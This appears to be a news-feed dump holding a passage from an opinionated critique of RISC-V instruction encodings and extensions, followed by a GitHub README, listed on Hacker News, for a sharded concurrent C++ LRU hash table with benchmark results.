On average every other function uses or could use an instruction to branch on the value of a bit.

Despite having an extension for seemingly everything, including operations on the common kitchen sink, somehow a number of obviously-useful instructions are missing. I already covered the lack of register + register addressing modes, so we'll not bother returning to that. There are a few other obvious low-hanging fruit that were seemingly ignored. And before you argue that RV32I was designed to be simple, all of the things I am about to suggest are trivial in the extreme, mostly reducing to simple wires on an ASIC.

First and foremost: test a bit and branch based on it. This one instruction replaces two ( SLLI + BGEZ / BLTZ ), but also it does not require a temporary register. To check how common this would be, if it existed, I grabbed a random aarch64 binary (the latest raspian kernel for raspberry pi, "vmlinuz-6.1.0-49-arm64", sha256: B3B686DE 82CC7B84 EFEB8F6B 309A4E6C 53E7461F 281D3E56 F42E4AA3 B6207075), disassembled it, and counted the number of instances of TBZ / TBNZ . There were 35,393 instances. By comparison, there are 70,109 instances of RET , which means that on average every other function uses or could use an instruction to branch on the value of a bit. Implementing it is trivial in hardware, and indeed branching on a bit is extremely common in dissecting protocols or using bitfields. For big out-of-order cores, renaming is simpler when one fewer register gets clobbered, and also there is no need to try to fuse two instructions when one exists. For smaller MCU cores, where no fusion exists, this is a simple code size and speed win. Why this obvious thing was not done, I do not know.

My next major gripe - bitfield operations - bit field extract and bitfield insert. These are extremely useful for working on things like network packets and hardware registers. Bit field extract can be simulated using two instructions - SLLI + SRLI / SRAI based on the desired signedness. Bitfield insert takes a lot more work to simulate: create the inverse mask, AND with destination reg, shift source reg into place, OR into destination. Depending on the bits, it is 3-6 instructions easily. BFC (bit field clear) is a simpler special case that is also quite useful. It is doable in 2-3 instructions. In hardware though, it is just wires - no complex logic, no nothing! There is no need to be clever like aarch64 is , although the designers of RISC-V could learn a lesson or ten from aarch64 indeed, including clever bitfield handling. I did the same counting exercise using the same kernel image. There are 6,284 bitfield insert instructions and 8,881 bitfield extract instructions -- two out of every 9 functions on average use these bitfield ops. To add insult to injury, there is a bit-ops extension for RISC-V -- Zbs . By looking at it, you can tell the authors were academics. It is clean, simple, easy to explain, elegant, and completely useless. Who the hell ever needs to extract just one bit? Seriously, what a missed opportunity.

Ridiculous encoding

RISC-V is the first architecture I've ever encountered which scatters immediates randomly throughout the instruction with no immediately-clear reason for it. This makes emulating it a huge pain since it takes so very long to recombobulate the immediate values, compared to architectures like MIPS, or ARM. The former simply uses bits 0..15 for immediates, the latter has fancier encodings, but at least there are just a few. RISC-V designers' justifications for this were "the same bits of the immediate come from the same bits of the instruction" -- a justification so idiotic that it physically hurts to attempt to pretend to believe it. It is the sort of thing that a software person who's never written verilog would think helps make things easier. You see, no matter how you spin it, you will need a mux for immediates, since they are of differing lengths and with differing number of trailing zeroes, depending on the instruction. And that mux, well ... it does not care even a little which instruction bits are wired into its inputs, it is all just wires. But even if the reasoning for "why" is idiotic, let us inspect the claim itself, to see if they did accomplish what they claimed to have wanted. Do the same bits of immediates always come from the same place? Let's take a look. For I -type instructions, bit 1 of the immediate comes from instruction bit 21, bit 11 of the immediate comes from instruction bit 31. For S -type instructions, the same bits of immediates come from instruction bits 8 and 31 respectively. For B -type instructions, they come from bits 8 and 7 respectively. And for J -type instructions, they come from bits 21 and 20 respectively. As you see, they indeed always come from the same place, as promised, if we merely ignore the meanings of the words "same" and "place".

But this just barely touches the surface of the insanity of the encodings! For J -type instructions, the immediate value is scattered in the following order: 20 10 9 8 7 6 5 4 3 2 1 11 19 18 17 16 15 14 13 12 . What possible justification could you imagine for this insanity, other than that the designers confused the chatter of a bingo parlor for the proper bit order for immediates. And yet, this is nothing compared to the mess that they made of the compressed instruction set...

There are no fewer than 9 (nine!) instruction formats here, and that does not include Zcb , which adds 8 more! But even that is not all! Depending on the instruction, the same format (eg: CI ) encodes immediates differently in the same bit positions. Accounting for all of that, it is almost one instruction encoding format per instruction! It did not need to be like this! Thumb and microMIPS both give examples how to not fuck up this badly, and yet, despite easy availability of examples of how to do it right, RISC-V designers bid us hold their collective LSD-laced beers and went at it in the most pessimal way imaginable. Let us first, of course, look at the immediates in C , since "they always come from the same place in the instruction word", you know ;)

When talking about immediate encodings henceforth, I shall use "x" to indicate when the immediate is broken into pieces and there is something else there in the instruction. L.LWSP (which loads a word from the stack) encodes the immediate in this order: 5 x x x x x 4 3 2 7 6 , C.SWSP which is its sibling for storing to stack, instead, encodes the immediate as 5 4 3 2 7 6 . C.LW (which loads a word from memory addressed by a register) encodes its immediate as: 5 4 3 x x x 2 6 , naturally. Its sibling, C.SW uses the same encoding, indicating that the design team missed an opportunity to scramble some bits here. If you wanted to load a byte from memory, you'd use C.LB , whose immediate encoding is, of course, nothing like the above. It uses bit order: 0 1 . If you wanted to load a halfword, you'd use C.LHU , whose bit order is just: 1 . Because of course it is! I am not even going to touch on CM.PUSH and CM.POP because their encoding is so complex that the spec spends a whole chapter explaining how to decode them. Truly, a sign of a simple and intuitive encoding, if you ask me.

While claiming to make use of all possible encoding space in the 16-bit instruction space, some fruit remain so low-hanging as to require OSHA warnings! A simple example: logical shifts include 6 bits of immediate. The argument is that this is needed for 64-bit instructions, but there are already many encodings in the compressed instruction set that are RV64-only. That is to say that RV64C and RV32C are already incompatible. Given that, why the hell are all shift instructions in RV32C carrying an extra zero bit? You cannot shift a 32-bit register by more than 32 bits. The spec says that bit must be zero, and yet no encoding uses the space opened up by that bit being one. Self delusion is telling yourself you are making good use of encoding space while also carrying around the ability to shift 32-bit registers by 61 bits, my friends. RV32E is even more egregious since many of its compressed instructions carry an extra bit to encode registers that do not exist there. As RV32E is ABI-incompatible with RV32I and they would never share code, giving RV32E more useful encodings by using those extra bits that would have encoded registers x16 .. x31 would have been an excellent idea. That is probably why it was not done.

Moving on... C.J 's bit order could likely pass the NIST Statistical Test Suite for random number generators: 11 4 9 8 10 6 7 3 2 1 5 . What even‽ C.BEQZ / C.BNEZ are also jumps, though conditional, so of course their encodings have almost nothing in common with the previous one, they use: 8 4 3 x x x 7 6 2 1 5 . When encoding immediates for C.LI , the bit order is 5 x x x x x 4 3 2 1 0 . That almost looks sane, but do not despair, more fun is coming. Let us say you wish to adjust the stack pointer. C.ADDI16SP is here for you, with its immediate encoded as: 9 x x x x 4 6 8 7 5 . And if you wanted to get an address of a stack variable, C.ADDI4SPN is there, with its immediate encoded as: 5 4 9 8 7 6 2 3 . All very logical, sane, and clear, as promised.

Imagine you are a CPU (or an emulator) trying to decide how to decode an instruction. If you are a sane CPU, most likely it goes like this: look at 1-3 bits to determine instruction format, from there look at 2-5 bits to figure out the instruction, and you are done, you are ready to execute. If you are RISC-V, things are a bit ... more complex. First you look at the bottom 2 bits to figure out if the instr is 2 or 4 bytes, for 2-byte instructions, you look at the top three bits to determine what instruction this is. So far, so good. But then... you notice that this instruction has an immediate. You need to reassemble the jigsaw puzzle that that is. And then you recall that some register-register instructions are encoded in the immediate format, with a magic immediate value indicating that they are register-register ops. For example C.NOT is encoded this way, the magic value being 0b111101 . C.ZEXT.W (if your hardware implements the proper mishmash of extensions to have it at all) uses the magic immediate 0b111100 . Somehow microMIPS and Thumb managed to do without this insanity. How? Ancient secrets that apparently were irrecoverably lost before the RISC-V authors were born.

If this were not enough, it is also notable that there are conflicting encodings in the compressed instruction set, depending on which extensions are implemented. Some extension combinations are simply impossible (eg: Zcmp and D ). This is a bigger fuck-up than all the previous ones since it is not merely cosmetic or efficiency-related. Despite DECADES of accumulating backwards-compatibility cruft, even x86 has managed to avoid the obvious trap that is having the same byte sequence mean different things to different implementations of the same architecture. I repeat: the architecture with the famously-terrible encoding managed to preserve semantic stability across almost 50 years, while the clean-sheet architecture designed by people who had decades of hindsight apparently didn't manage to do it across five years. It is OK for an architecture to have unimplemented encodings that become implemented instructions in later versions. It is justifiable to have implemented instructions that become unimplemented later. However, having encodings change meanings (or worse: start off having different meanings) in different implementations of the same architecture is insane! I think I recall seeing a whole chapter on this in the DSM-5!

Having encodings change meanings [...] in different imple­menta­tions of the same archi­tecture is insane!

Having this happen means that instead of a clearly-understandable crash you get ... well ... anything. Who can predict how their binary will act when a floating point store silently becomes a double-register move or a jump instruction, or vice-versa? This is not a summary of a plot of a B-side programmer-themed horror flick. It could really happen to you! Consider the instruction 0xA002 . Depending on your core, it could store a double-precision floating point register 0 to stack offset 0 ( C.FSDSP f0, 0(sp) ), or it could jump somewhere ( CM.JT 0 ). But at least a random jump might cause a crash soon enough for you to notice. Consider 0xAC66 . Depending on your core, it could store a double-precision floating point register to stack ( C.FSDSP f25, 0x18(sp) ), or it could move a0 into s0 and a1 into s1 ( CM.MVA01S s0, s1 ). No control flow changes. Just two corrupted registers and a value not stored to stack. Some would attempt to argue that this confusion could never happen, since everyone knows (or should know) what their core is and what it does. Those "some" have clearly never encountered the real world. Oftentimes, you get binary blobs from vendors and you just link them into your microcontroller code. MEMS sensor vendors are notorious for shipping their "super proprietary" calibration algorithms like this. Now, let us imagine that we had such a binary which we linked into shipping code and shipped it on an MCU which had the Zcmp extension. It was all smooth sailing until we upgraded to a larger MCU to have better floating point support for some fancier math our new product needs to do. This new MCU supports double-precision floating point numbers. Suddenly, our binary is crashing randomly in random places and misbehaving. There are no "undefined instruction" traps, no immediately-obvious cause. Turns out, the new core supports the D extension, and thus cannot support Zcmp . But, due to the reused encodings, we did not find out the normal way -- an undefined instruction trap. Instead, we spent weeks debugging random crashes when random registers were getting corrupted. Our disassemblers were no good - they correctly disassembled the instructions in one of two valid ways. Debuggers were of little help too -- they showed some instructions seemingly doing nothing, with a few words on the stack becoming corrupt soon after. Interrupt handlers were overhauled a few times, wasting a lot of engineer time, to make sure they saved and restored contexts correctly. The MCU vendor's FAEs spent days onsite helping our electrical engineers rule out noise in the power supply lines that could have been causing random register and stack corruptions. Also, the sensor calibration has been broken the entire time since the MCU upgrade, but since sensors usually work plausibly well without calibration and nobody noticed among the random crashes. Now, debugging this, IS the plot for a B-side programmer-themed horror flick that I've been shopping around Hollywood for a while. Dear RISC-V committee, you are staying after class today and writing the following on the whiteboard 100 times: upgrading a processor should not turn a valid binary into a semantically different valid binary.

Alleged Fixes

Of all the currently available and recom­mended at time of publication RISC-V SBCs, approx­imately none are actually RVA23 compliant. None of them will ever run Ubuntu LTS or future AOSP builds.

Many RISC-V fans will claim that all the optionality is no longer an issue since the RISC-V foundation created "profiles" which is a list of mandatory optional extensions (yes, do read that again) that when implemented together allows one to claim to comply with a profile. Again: the ecosystem has had to invent a second layer of standardization whose entire purpose is to say which parts of the first standard you are actually allowed to assume exist. Really, if you find yourself having to build a second standard whose purpose is to tell everybody which parts of your first standard they must actually implement, perhaps the first standard wasn't quite finished. Only a design-by-committee process could produce this situation. To avoid having to target the lowest common denominator of RISC-V, or the embarrassment of having to build thousands of slightly different builds of every package so as to target every possible extension combination, most vendors who are delusional enough to hope that RISC-V desktops will actually happen are planning to mandate RVA23 . Ubuntu, Red Hat, and Android are all in this group. Fun story: of all the currently available and recommended at time of publication RISC-V SBCs, approximately none are actually RVA23 compliant, not StarFive's VisionFive 2, not the Banana Pi BPI-F3, not the Lichee Pi 4A, not the Orange Pi RV2, not even the HiFive Premier P550. None of them will ever run Ubuntu LTS or future AOSP builds. Hilariously, some discussions online have taken to talking about "almost RVA23" cores. Again: the profile designed to solve fragmentation isn't backwards-compatible with much of the hardware that is currently sold as "RISC-V", thus fragmenting the RISC-V world into "almost-RVA23" and post-RVA23, with the majority of the current boards being "almost". The fans will call this profile system a win, but I say it is a direct indictment against this crime of infinite optionality and the people who thought it was ever a good idea. Big desktop-type cores do not need the divide instruction, array addressing, and basic SIMD to be optional. And nobody should have needed TEN YEARS to realize this. Additionally, a lot of vendors whose chips will not make the RVA23 cut are likely now screwed, as Android and Linux leave them behind, no matter how "almost" they were. That is what they get for buying into this, I suppose. A lesson to be learned about FOMO and getting in early -- sometimes it only "almost" pays off. As a hilarious side-note, there is one linux distro which is completely and perfectly tuned for this insane RISC-V landscape - Gentoo, since its thing was always: build each package from source to take advantage of the exact host CPU features and optimizations. That is: RISC-V's ideal (read: the only plausible) software distribution model is apparently Gentoo. After I hit "publish" on this article, I shall be off to find myself a contractor to make a Bat-Signal™-style lantern with the Gentoo logo, to aim at the clouds above the RISC-V HQ. Gentoo, you have been summoned to a battle you did not even know you have been preparing for your entire existence!

Bat-Signal style gento logo over the RISC-V headquarters

How Did We Get Here and Where to Now?

If you read the RISC-V rationale/excuse doc , and discard all the parts that we've concluded (in the above sections) to be outright lies, exaggerations, or complete misunderstandings of how existing architectures (and the world at large) work, we end up with this one sentence that likely explains it all: "Ultimately, we thought it was best for our purposes to start from a clean slate, rather than modifying OpenRISC accordingly." This is after they explain that OpenRISC does all they wished to do except it has delay slots, and proceed to admit that a version without delay slots already existed. There you have it: why the bits are scattered like bingo, why there are hundreds of conflicting extensions with conflicting encodings, and why obviously useful instructions are nowhere to be found -- simply because they all were " not invented here ".

To be fair, another possible explanation for how we got here is that this is how academia and grants work. By their nature, grant proposals tend to oversimplify and overpromise their real-world applicability and impact. Given that a lot of RISC-V "research" was done under various grants, it is plausible that the incentives of the academic world had an influence. Since this hypothesis is unverifiable with the information available to us, we’ll leave it at that.

Does This Mean RISC-V is Doomed?

None of this is to say that RISC-V is doomed. As I said, I fully expect it to take over the space currently occupied by 8051 as a typical cheap embedded core instantiated when some small amount of logic is needed, or some beefy accelerator or DMA engine needs some mild babysitting. Much like the linux kernel -- the price is right. ARM wants licensing fees, while the RISC-V spec is free, and (this part is key) there are cores out there which can be licensed for free. For situations where performance is not a factor and price is, RISC-V will win simply due to its price. "Good-enough" is a low bar in this case, and RISC-V is of the right height to meet it. And look, this market is not glorious, but it matters and it needs new blood. However, it is important that RISC-V not accidentally think it was chosen for being good. It needs to internalize that it was chosen for being cheap. This is not meant as an insult to cheap small cores -- I've written plenty of assembly for all sorts of shitty cores with shittily designed ISAs. RISC-V is an improvement over PIC and 8051, as little of a compliment as that is.

'Good-enough' is a low bar in this case, and RISC-V is of the right height to meet it.

For big compute, there are two separate categories, in my opinion. ML accelerators will likely also end up with RISC-V cores attached to them. This is actually pretty close to the above use case, since most of the computation will be done in specialized blocks of silicon, optimized for many many MATMULS per cycle. The RISC-V core will be configuring DMAs and reconfiguring these large blocks to compute the next layer's outputs. A variant of this design might include a RISC-V core with a very wide vector engine bolted to it. This can be used for element-wise operations which are also common in ML workloads. Again, this core need not be fancy or even out-of-order, it will work simply by being wide enough vector-wise. Its integer pipeline will not be a significant factor for its performance, and RISC-V's warts will be considered the price you pay for not paying to license a Cortex-A55. I expect RISC-V to win this market for the same reason as for small babysitter cores - actual serious per-core CPU perf in the traditional sense is not needed here, so a good-enough core will do. And traditionally, good-enough solutions are always chosen via the " ORDER BY price ASC LIMIT 1; " process.

The second category for big-compute is actual desktops and SBCs that do interactive computation, browsing, gaming, and other such "desktop work". I do not expect RISC-V to be a serious player at the top of this market. Simply put, the architecture is not designed for it, as pointed out above. Additionally, this market has the margins to afford licensing a much-better-designed aarch64 core from ARM, and gain proper support from a much larger corpus of software. Before you get your megaphone to shout about "openness", please note that the openness of the RISC-V spec is not relevant here at all, because an open spec does not magically materialize a well-designed out-of-order core for you for free. And if someone were to design a good out-of-order core, they would not be giving it away for free. An open spec does not mean every implementation is free. The middle and the lower ends of the cheap SBC market will likely remain a mixture of new RISC-V cores and older ARM cores.

High-Performance Array-Backed LRU Hash Table

Hacker News
github.com
2026-08-14 15:11:19
Comments...
Original Article

High-Performance Array-Backed LRU Hash Table

Platform: Windows | Linux | macOS Language: C++20 Environment: User & Kernel Mode

Concurrent LRU Hash Table optimized for:

  • multi-core scalability
  • predictable tail latency
  • NUMA architectures
  • zero runtime allocations

Table of Contents

  1. The Problem: The Standard Library Bottleneck
  2. The Solution: Core Architecture & Algorithms
  3. Benchmarks & Scaling Performance
  4. When This Table May Not Be the Best Fit
  5. Quick Start API Overview
  6. Project Structure
  7. Building test code
  8. Conclusion & Future Hardware Extrapolation
  9. License & Contributing

A high-performance concurrent LRU hash table designed for demanding systems programming workloads such as caching layers, network infrastructure, and kernel components. By leveraging shard-based parallelism and cache-friendly memory layouts, the implementation delivers high throughput in environments where standard library containers degrade under contention.

Key Architectural Highlights

  • Zero Runtime Allocations: Pre-allocated flat arrays eliminate heap fragmentation and OS-level lock stalls.
  • Custom TTAS Spinlocks: Replaces std::shared_mutex to eliminate OS context switches, achieving 14x+ throughput and sub-microsecond tail latencies. (Note: User-mode uses a custom TTAS Spinlock for raw speed, while Kernel-mode relies on EX_PUSH_LOCK).
  • Sharded Architecture: Eliminates global lock convoys, scaling linearly with physical CPU core counts.
  • NUMA-Aware Memory: Distributes shard allocations across physical CPU sockets to maximize memory controller bandwidth.
  • Lock-Free Destruction: Payloads are explicitly destroyed outside the synchronization boundary, ensuring flat tail latencies.
  • Lazy LRU Promotion: A tunable "Safe Zone" bypasses exclusive lock upgrades on hot reads, yielding an ~20% throughput boost.
  • Custom Allocators (User-Mode): Supports template-injected allocators for domain-specific memory management.
  • Dual Environment Ready: Full cross-platform user-mode support alongside a dedicated Windows 10+ Kernel implementation (IRQL < DISPATCH_LEVEL).

The implementation prioritizes mechanical sympathy, cache locality, lock scalability, and predictable memory behavior , making it suitable for demanding environments such as:

  • High-Frequency Trading (HFT) infrastructure
  • Storage subsystem caches
  • Real-time network routing
  • Kernel / driver components
  • High-throughput web servers

The implementation provides O(1) average-time operations for insertion, lookup, and removal while maintaining a strict or probabilistic Least Recently Used (LRU) eviction policy.


The Problem: The Standard Library Bottleneck

Typical concurrent LRU implementations (e.g., combining std::unordered_map + std::list protected by a global std::shared_mutex ) suffer from severe architectural flaws on modern high-core-count CPUs:

  1. Global Lock Contention: A single lock creates a catastrophic "lock convoy," where adding threads actually decreases total throughput.
  2. Pointer Chasing: Node traversal across the heap destroys L1/L2 cache locality.
  3. Allocator Overhead: Every insertion/eviction triggers heap allocation/deallocation ( new / delete ), resulting in memory fragmentation and OS-level lock stalls.
  4. False Sharing: Unaligned memory structures cause adjacent CPU cores to invalidate each other's L1 cache lines, silently destroying performance.

The Solution: Core Architecture & Algorithms

This project solves the standard library bottlenecks through a combination of sharding, flat-array memory management, and lock-free destruction techniques.

This diagram illustrates the architecture of a LRU hash table that eliminates global lock contention by partitioning data into independent, cache-aligned shards. Each shard operates autonomously with its own exclusive TTAS spinlock, metadata counters, and a contiguous "Mega-Block" of memory containing the bucket and node arrays. Within these arrays, both the hash collision chains and the doubly-linked LRU queues are constructed using 32-bit array indices rather than standard 64-bit pointers, which halves the structural memory overhead and improves L1/L2 cache locality during hot-path operations.

At a high level, the table is partitioned into independent shards, each managing its own hash table and LRU chain:

=============================================================================
                      [ Master Hash Table Object ]                      
=============================================================================
      |
      +---> [ Shard Array ] (Contiguous block, scaled to ~ CPU Cores * 32)
              |
              +--- [ Shard 0 ] (64/128-byte aligned to prevent false sharing)
              |      |
              |      +-- Synchronization : Exclusive TTAS Spinlock
              |      |
              |      +-- Meta Counters   : ActiveCount, Capacity, Generation
              |      |
              |      +-- Chain Pointers  : LruHead, LruTail, FreeHead (32-bit indices)
              |      |
              |      |                     (Hash Collision Chain via HashNext)
              |      +-- Buckets Array   : [ Head_Idx ] [ INVALID ] [ Head_Idx ] ...
              |      |                           |                        |
              |      |                           v                        v
              |      +-- Nodes Array     : [ Node 0 ]                 [ Node 4 ]
              |          (The Mega-Block)  [ Node 1 ] <--- FreeHead       |
              |                            [ Node 2 ] <--- LruHead        v
              |                            [ Node 3 ]                 [ Node 5 ]
              |                            ...
              |                            [ Node N ] <--- LruTail (Next Eviction)
              |
              |     (Inside LruNode) --> +-----------------------------------+
              |                          | HOT PATH: Hash, HashNext, LruPrev |
              |                          | MATCH:    TKey                    |
              |                          | COLD:     TValue*, LruNext        |
              |                          +-----------------------------------+
              |
              +--- [ Shard 1 ] (Isolated locks & capacity bounds)
              |      |
              |      +-- Synchronization : ...
              |      +-- Buckets Array   : [ ... ]
              |      +-- Nodes Array     : [ ... ]
              |
              +--- [ Shard 2 ] 
              |
             ...
              |
              +--- [ Shard N ]

Node Memory Layout (Mechanical Sympathy)

To maximize L1/L2 cache hit rates, the internal node structure explicitly separates data based on access frequency during traversal:

The Hot Path (First Cache Line): Variables critical for navigating collision chains and verifying matches (Hash, HashNext, LruPrev, and the Key) are tightly packed into the first hardware cache line (64 bytes or 128 bytes depending on architecture). This ensures that the CPU can scan deep hash buckets in a single memory fetch without triggering expensive main-memory stalls.

The Cold Path: Variables required only after a successful key match or during an eviction (Value*, LastPromoted, LruNext) are pushed off to secondary cache lines. This guarantees that the memory controller never wastes bandwidth fetching payload pointers or age metrics for nodes that are merely being passed over during a lookup scan.

-------------------------------------------------
| Hash | HashNext | LruPrev | Key |              |
-------------------------------------------------
| Value* | LastPromoted | LruNext |              |
-------------------------------------------------
HOT PATH (cache line)     COLD PATH

1. Sharded Parallelism

The table is split into independent, isolated shards . Each shard contains its own hash buckets, LRU list, spinlock, and capacity limits.

  • Shard count is dynamically scaled based on processor topology ( shards ≈ CPU cores × 32 ).
  • Threads are routed using a MurmurHash3-style avalanche mixer ( MixHash ) to force entropy into the lower bits. This ensures uniform shard distribution under typical hash quality regardless of the quality of the user-provided hash function: shard = MixHash(hash) & (ShardCount - 1) .
  • This ensures uniform workload distribution and avoids global lock contention by design.

2. Array-Backed Mega-Blocks & 32-bit Indices

Instead of allocating nodes individually on the heap, all nodes and buckets are pre-allocated in contiguous flat arrays (Mega-Blocks).

  • Zero Runtime Allocations: Once initialized, the table never calls new or delete .
  • Relative 32-bit Indices: Linked lists (LRU chains and Hash collisions) are implemented using 32-bit array indices instead of 64-bit pointers. This cuts the structural memory overhead in half and dramatically increases the number of nodes that fit inside the CPU's L1/L2 cache.
  • NUMA Awareness: The user-mode table utilizes VirtualAllocExNuma (Windows) or libnuma (Linux) to distribute shard allocations evenly across physical CPU sockets, maximizing memory controller bandwidth.

3. Mechanical Sympathy & Cache Management

Memory layout is strictly controlled to respect hardware-specific cache alignment, i.e., 64 bytes on x86_64 and ARM64, and 128 bytes on Apple silicon.

False Sharing Prevention:

struct alignas(CACHE_LINE_SIZE) Shard { ... };

Shards are explicitly padded to hardware-specific cache line boundaries (64-byte or 128-byte). A thread locking Shard A will never invalidate the cache line for a thread accessing Shard B.

Hot/Cold Path Struct Packing:

struct LruNode 
{
    // --- HOT PATH (First Cache Line) ---
    uint64_t Hash;         // Cached to avoid rehashing
    uint32_t HashNext;     // Hash collision chain index
    uint32_t LruPrev;      // LRU chain index
    TKey     Key;          // Starts at 16-byte boundary
    
    // --- COLD PATH ---
    TValue* Value;        // Accessed only on exact match
    uint64_t LastPromoted; // Age tracking
    uint32_t LruNext;      // LRU chain index
};

Variables required for hash traversal packed into the first portion of the first cache line. The CPU fetches these together in a single read, guaranteeing a cache hit during deep collision chain probing.

4. Advanced Concurrency Controls

  • Out-of-Lock Destruction: Deadlocks and latency spikes are avoided by guaranteeing that user code never executes inside the synchronization boundary. Evicted nodes are detached, the lock is dropped, and only then is the payload destructed/released.

  • Lazy LRU Promotion (Generation Counter): Traditional LRUs promote items to the MRU head on every read, requiring an exclusive write-lock. This implementation uses a probabilistic Generation counter. If a read hits a "hot" item, the promotion is skipped, allowing the thread to complete the read instantly.

  • Optional Proactive Trimming: The table is fully autonomous; when a shard reaches capacity, Add() automatically performs inline LRU eviction to make room. Therefore, a dedicated background trimming thread is not required for continuous operation. However, to guarantee ultra-flat P99/P99.9 tail latencies on your foreground hot path, you can optionally invoke Trim() during relatively idle cycles or from a background worker. Proactively trimming active items down to a lower watermark (e.g., 85%) ensures foreground insertions consistently hit warm, pre-allocated free nodes rather than paying the structural execution costs of inline eviction.

5. Policy-Driven Spinlock (User Mode)

The Array-backed table replaces std::shared_mutex with a custom Spinlock designed specifically for microscopic critical sections. It implements the TTAS pattern to strictly prevent MESI protocol bus floods ("Cache Line Bouncing") on multi-socket / multi-core systems.

Supported Spin Policies: To accommodate different execution environments, the lock behavior is injected at compile-time:

  • AdaptiveSpinPolicy (Default): Maximizes throughput by spinning briefly in user-space, falling back to a forced OS deschedule to prevent deadlocks during severe contention.

  • ExponentialBackoffPolicy (Opt-in): Implements a dynamic, self-tuning backoff strategy for high-contention environments. Instead of polling the lock at a constant rate, waiting threads double their hardware pause batches (1, 2, 4... up to MAX_BACKOFF_PAUSES) after every failed attempt.

6. Adaptive Shard Scaling (Small Tables)

To avoid synchronization overhead on small data sets, the implementation automatically scales down active shards for smaller capacities, enforcing a minimum of 64 items per shard.

This ensures that small tables do not suffer unnecessary lock or memory fragmentation costs while still preserving the same API and behavior.


Benchmarks & Scaling Performance

To prove the architecture, the Custom Array Table was benchmarked against the standard implementation (std::unordered_map + std::list) across three distinct hardware topologies:

Intel Core i7-1165G7 (4 Cores / 8 Threads, Low Power) Intel Core i7-8086K (6 Cores / 12 Threads, High Clock) Intel Core i7-12700H (14 Cores / 20 Threads, Big.LITTLE)

Workload: 1,000,000 capacity, Mix of Add/Lookup/Remove/Trim, 0% Safe Zone. Multi-Threaded Scaling (The "Lock Convoy" Collapse)

1. Multi-Threaded Scaling (The "Lock Convoy" Collapse)

The Array-Backed table scales positively with physical hardware, whereas the standard library implementation exhibits negative scaling under heavy mixed contention.

Implementation i7-1165G7 (Mobile, 8-Thread) i7-8086K (Desktop, 12-Thread) i7-12700H (Hybrid, 20-Thread)
Std: Map+List 0.70x (Negative Scaling) 0.62x (Negative Scaling) 0.49x (Negative Scaling)
Array-Table 3.41x (at 8 threads) 6.87x (at 12 threads) 7.51x (at 20 threads)

2. Predictable Tail Latency (P99.9, P99.99)

At extreme percentiles, the Array-Backed table maintains low-microsecond latency, bypassing the severe latency spikes characteristic of standard OS-mediated locks.

At the 99.9th percentile, we measure the worst-case algorithmic contention (e.g., deep hash collisions or lock upgrades). The custom array maintains low-microsecond latency.

Metric (P99.9 Latency) i7-1165G7 (Mobile) i7-8086K (Desktop) i7-12700H (Hybrid)
Std: Map+List 1,039,800 ns 575,600 ns 659,800 ns
Array-Table 4,900 ns 1,600 ns 2,600 ns
Stability Advantage 212x More Stable 360x More Stable 253x More Stable

At the 99.99th percentile (P99.99), we observe the true cost of OS-mediated locking.

Metric (P99.99 Latency) i7-1165G7 (Mobile) i7-8086K (Desktop) i7-12700H (Hybrid)
Std: Map+List 2,017,400 ns 983,100 ns 1,078,800 ns
Array-Table 12,000 ns 6,400 ns 20,600 ns
Stability Advantage 168x More Stable 153x More Stable 52x More Stable

(Note: The jump to 20.6µs on the i7-12700H at P99.99 is the hardware signature of the OS Thread Director migrating a thread between a P-Core and an E-Core, forcing an L1/L2 cache flush).

3. Total Throughput Speedup (Mixed Contention)

Under heavy mixed workloads (simultaneous reads, writes, and evictions), the architectural differences create a compounding performance gap. As core counts increase, the standard table loses throughput due to contention, while the sharded Array-Backed table accelerates

System Profile Array-Table Ops/Sec Std Ops/Sec Total Speedup
Mobile (4-Core/8-Thread) 26.7 Million 3.0 Million ~8.9x Faster
Desktop (6-Core/12-Thread) 53.0 Million 3.1 Million ~17.1x Faster
Hybrid (14-Core/20-Thread) 48.0 Million 2.3 Million ~20.9x Faster

4. The Impact of Lazy Promotion (Delayed LRU Updates)

Strict LRU caches suffer under heavy read contention because every read requires an exclusive lock upgrade to update the LRU head.

By utilizing a Generation counter, the cache probabilistically "ages" items. If an item is accessed but hasn't aged past the threshold, the promotion is skipped, allowing the thread to complete the read instantly. By using a microscopic exclusive lock without the overhead of reader-to-writer upgrade hazards, it achieves higher throughput than traditional Reader-Writer lock implementations.

Workload: 95% Read / 5% Write on the 6-Core i7-8086K.

Promotion Threshold Behavior Ops/Sec Performance Lift
0% (Strict LRU) Promotes on every read 71.4 Million Baseline
25% (Safe Zone) Promotes only older items 79.6 Million + 11.5%
50% (Safe Zone) Promotes only stale items 82.8 Million + 16.0%
100% (FIFO) Never promotes on read 86.2 Million + 20.7%

5. Cloud & Virtualized Environments: Overcoming Lock Holder Preemption (LHP)

On Linux guests in virtualized environments (VMware, AWS, Azure), spinning vCPUs can trigger VM-Exit storms if the lock-holder is preempted by the hypervisor (LHP). Standard library locks ( std::shared_mutex ) suffer severely from this due to heavy OS context switching.

To combat this, the table relies on its custom spinlocks. Both available policies effectively mitigate LHP compared to the standard library, but their performance characteristics vary significantly depending on the guest Linux distribution and its underlying CPU scheduler:

Benchmark: Linux Guests on VMware (Windows 10 Host, 4 vCPUs)

Testing across different distributions reveals that the optimal lock strategy is highly dependent on the guest OS:

  • Ubuntu: The ExponentialBackoffPolicy offers slightly better P99.9 tail latency stability, trading peak scaling throughput for stricter latency bounds.
  • Fedora: The AdaptiveSpinPolicy outperforms the yielding approach across the board, delivering better P99.9 stability and P99.99 tail latency.

Recommendation for Cloud Deployments: Since hypervisor configurations and Linux CPU schedulers (CFS or EEVDF) react differently to userspace spinning versus hard yielding, do not blindly default to the yielding policy on Linux . It is highly recommended to profile both policies on your specific target OS and hypervisor combination to determine which yields the best tail latency for your workload.

How to Toggle Policies (Linux Only): Windows handles LHP natively, so this mitigation is strictly for Linux deployments. By default, the build uses AdaptiveSpinPolicy . You can opt into the yielding lock using conditional compilation during the build step:

# Enable the ExponentialBackoffPolicy for virtualized Linux hardware (e.g., Ubuntu targets)
cmake .. -DUSE_EXPONENTIAL_BACKOFF=ON

6. Reproducing Benchmarks

All benchmarks were produced on Windows 10/11 using the test_um suite included in this repository, compiled with Microsoft Visual Studio 2026 using AdaptiveSpinPolicy SpinLock wait policy.


When This Table May Not Be the Best Fit

While this architecture excels under heavy concurrent workloads, it is not a silver bullet. In some scenarios, a standard library composition (such as std::unordered_map + std::list ) may be the more appropriate choice:

  • Extremely Small Tables (< ~100 items): While the table internally reduces shard counts when capacity is below 1024 entries , the baseline overhead of avalanche hashing, atomic reference counting, and shard routing can dominate on microscopic datasets. In these cases, a simple STL-based LRU protected by a std::mutex is often faster.
